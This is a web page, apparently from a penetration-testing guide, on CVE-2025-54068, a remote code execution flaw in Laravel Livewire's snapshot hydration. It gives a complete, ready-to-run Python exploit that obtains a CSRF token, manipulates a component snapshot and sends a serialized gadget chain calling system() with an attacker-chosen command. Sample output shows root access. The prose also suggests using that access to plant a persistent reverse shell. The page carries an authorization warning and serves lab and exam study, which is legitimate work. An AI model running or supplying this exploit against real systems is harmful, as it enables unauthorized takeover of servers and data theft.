CVE-2025-54068 Livewire RCE Exploitation
Laravel Livewire components expose remote code execution via insecure snapshot handling. CVE-2025-54068 affects specific versions where component state hydration trusts client-side data. Attackers manipulate snapshots to trigger arbitrary PHP function execution.
Warning
This tool performs automatic exploitation; because exams like OSCP typically do not allow automated exploitation scripts, the manual exploitation steps below are a safer OSCP-friendly option—only test on environments you own or have explicit permission to assess (e.g., labs/approved scoped targets).
Vulnerability Verification
Use Livepyre to identify vulnerable Livewire instances. The tool checks version numbers and attempts snapshot manipulation without requiring the application key.
A vulnerable response indicates the server accepts manipulated snapshot data during the hydration phase. Proceed to exploitation if authorized.
Exploitation Without Application Key
Exploitation is possible without the APP_KEY if the snapshot contains object types reachable during deserialization. Livepyre attempts to identify parameters accepting objects to bypass signature validation.
If no object types are detected, the tool attempts brute-force on parameter counts. This increases noise and detection risk.
Successful execution returns command output immediately. Use this access to deploy a persistent reverse shell or gather further intelligence.
Exploitation With Application Key
Possession of the Laravel APP_KEY simplifies exploitation. The key signs snapshots, allowing arbitrary data injection without relying on specific object types or brute-force. Retrieve the key from .env file disclosure or configuration leaks.
Replace the base64 string with the actual application key. The tool signs the malicious snapshot correctly.
This method is more reliable than blind exploitation. It bypasses integrity checks entirely.
Single file Python3 exploit
If you prefer using a single Python3 exploit script, you can easily adapt everything into one file using the template below.
[+] Targeting http://127.0.0.1:8000 [+] CSRF Token acquired: FZECb5D7UF0rjvBhpqdj... [+] Snapshot extracted successfully [+] Component ID: Hw1rdEMoCb5vjgoqvt2P [+] Component Name: counter [+] Sending exploit payload... [*] Found param: count [*] Stage 1 payload being sent: [!] Stage 1 failed with status 500 [*] Found param: name [*] Stage 1 payload being sent: [!] Stage 1 failed with status 500 [*] Found param: obj [*] Stage 1 payload being sent: [*] Stage 2 payload being sent: [+] Response Status: 200 [+] Response: uid=0(root) gid=0(root) groups=0(root) [+] Exploit successful. Command output received.
Update the source code as needed (e.g., target URL, port, and any payload values).
"""
Simple single file CVE-2025-54068 exploit
Author: Joshua van der Poll
Website: https://hackindex.io/services/web/exploitation/cve-2025-54068-livewire-rce
"""
import requests
import re
import json
import sys
import html
TARGET_IP = "127.0.0.1" # Change me
PORT = "8000" # Change me
BASE_URL = f"http://{TARGET_IP}:{PORT}"
COMMAND = "id" # Change me
def get_csrf_token(session):
response = session.get(BASE_URL)
patterns = [
r'<meta name="csrf-token" content="([^"]+)"',
r'data-csrf="([^"]+)"',
]
for pattern in patterns:
match = re.search(pattern, response.text)
if match:
return match.group(1)
raise Exception("CSRF token not found")
def get_livewire_state(session):
response = session.get(BASE_URL)
html_content = response.text
snapshot_match = re.search(r'wire:snapshot="([^"]+)"', html_content)
if not snapshot_match:
raise Exception("wire:snapshot not found")
snapshot_raw = snapshot_match.group(1)
snapshot_decoded = html.unescape(snapshot_raw)
snapshot_json = json.loads(snapshot_decoded)
return snapshot_json
def exploit(session, csrf_token, snapshot_json):
url = f"{BASE_URL}/livewire/update"
final_param_name = None
for param in snapshot_json["data"]:
print(f"[*] Found param: {param}")
# Stage 1: Cast the object property to an array
snapshot_str = json.dumps(snapshot_json)
payload_stage1={"_token":csrf_token,"components":[{"snapshot":snapshot_str,"updates":{param:[]},"calls":[]}]}
headers = {
"Content-Type": "application/json",
"Accept": "application/json",
"X-Livewire": "true",
}
print("[*] Stage 1 payload being sent:")
response_stage1 = session.post(url, json=payload_stage1, headers=headers)
if response_stage1.status_code != 200:
print(f"[!] Stage 1 failed with status {response_stage1.status_code}")
continue
response_data = response_stage1.json()
try:
new_snapshot = response_data["components"][0]["snapshot"]
except (KeyError, IndexError):
print("[!] Failed to extract new snapshot from stage 1 response")
continue
final_param_name = param
if not new_snapshot:
raise Exception("[!] No valid snapshot obtained from stage 1")
# Stage 2: Build and send the RCE payload
json_payload={"_token":csrf_token,"components":[{"snapshot":new_snapshot,"updates":{"TARGET":[1,[{"a":[{"__toString":"phpversion","close":[[[{"chained":["O:38:\"Illuminate\\Broadcasting\\BroadcastEvent\":4:{s:5:\"dummy\";O:40:\"Illuminate\\Broadcasting\\PendingBroadcast\":2:{s:9:\"\u0000*\u0000events\";O:31:\"Illuminate\\Validation\\Validator\":1:{s:10:\"extensions\";a:1:{s:0:\"\";s:[FUNCTION_LEN]:\"[FUNCTION]\";}}s:8:\"\u0000*\u0000event\";s:[PARAM_LEN]:\"[PARAM]\";}s:10:\"connection\";N;s:5:\"queue\";N;s:5:\"event\";O:37:\"Illuminate\\Notifications\\Notification\":0:{}}"]},{"s":"form","class":"Illuminate\\Broadcasting\\BroadcastEvent"}],"dispatchNextJobInChain"],{"s":"clctn","class":"Laravel\\SerializableClosure\\Serializers\\Signed"}]},{"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"}],"b":[{"__toString":[[[None,{"s":"mdl","class":"Laravel\\Prompts\\Terminal"}],"exit"],{"s":"clctn","class":"Laravel\\SerializableClosure\\Serializers\\Signed"}]},{"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"}]},{"class":"League\\Flysystem\\UrlGeneration\\ShardedPrefixPublicUrlGenerator","s":"clctn"}]]},"calls":[]}]}
updated_updates = json_payload["components"][0]["updates"]
updated_updates[final_param_name] = updated_updates.pop("TARGET")
function = "system" # Change this if needed
user_payload = json_payload["components"][0]["updates"][final_param_name][1][0]["a"][0]["close"][0][0][0]["chained"][0]
user_payload = user_payload.replace("[FUNCTION_LEN]", str(len(function)))
user_payload = user_payload.replace("[FUNCTION]", function)
user_payload = user_payload.replace("[PARAM_LEN]", str(len(COMMAND)))
user_payload = user_payload.replace("[PARAM]", COMMAND)
json_payload["components"][0]["updates"][final_param_name][1][0]["a"][0]["close"][0][0][0]["chained"][0] = user_payload
print("[*] Stage 2 payload being sent:")
response_stage2 = session.post(url, json=json_payload, headers=headers)
return response_stage2.text, response_stage2.status_code
def main():
session = requests.Session()
try:
print(f"[+] Targeting {BASE_URL}")
csrf_token = get_csrf_token(session)
print(f"[+] CSRF Token acquired: {csrf_token[:20]}...")
snapshot_json = get_livewire_state(session)
print(f"[+] Snapshot extracted successfully")
print(f"[+] Component ID: {snapshot_json['memo']['id']}")
print(f"[+] Component Name: {snapshot_json['memo']['name']}")
print(f"[+] Sending exploit payload...")
response, status_code = exploit(session, csrf_token, snapshot_json)
print(f"[+] Response Status: {status_code}")
print(f"[+] Response: \n{response[:2000]}")
if "uid=" in response or "root" in response or "www-data" in response:
print("[+] Exploit successful. Command output received.")
elif status_code == 500:
print("[-] Server error. Check payload compatibility.")
else:
print("[-] Exploit failed. Check response for errors.")
except Exception as e:
print(f"[-] Error: {e}")
sys.exit(1)
if __name__ == "__main__":
main()
Was this helpful?
Your feedback helps improve this page.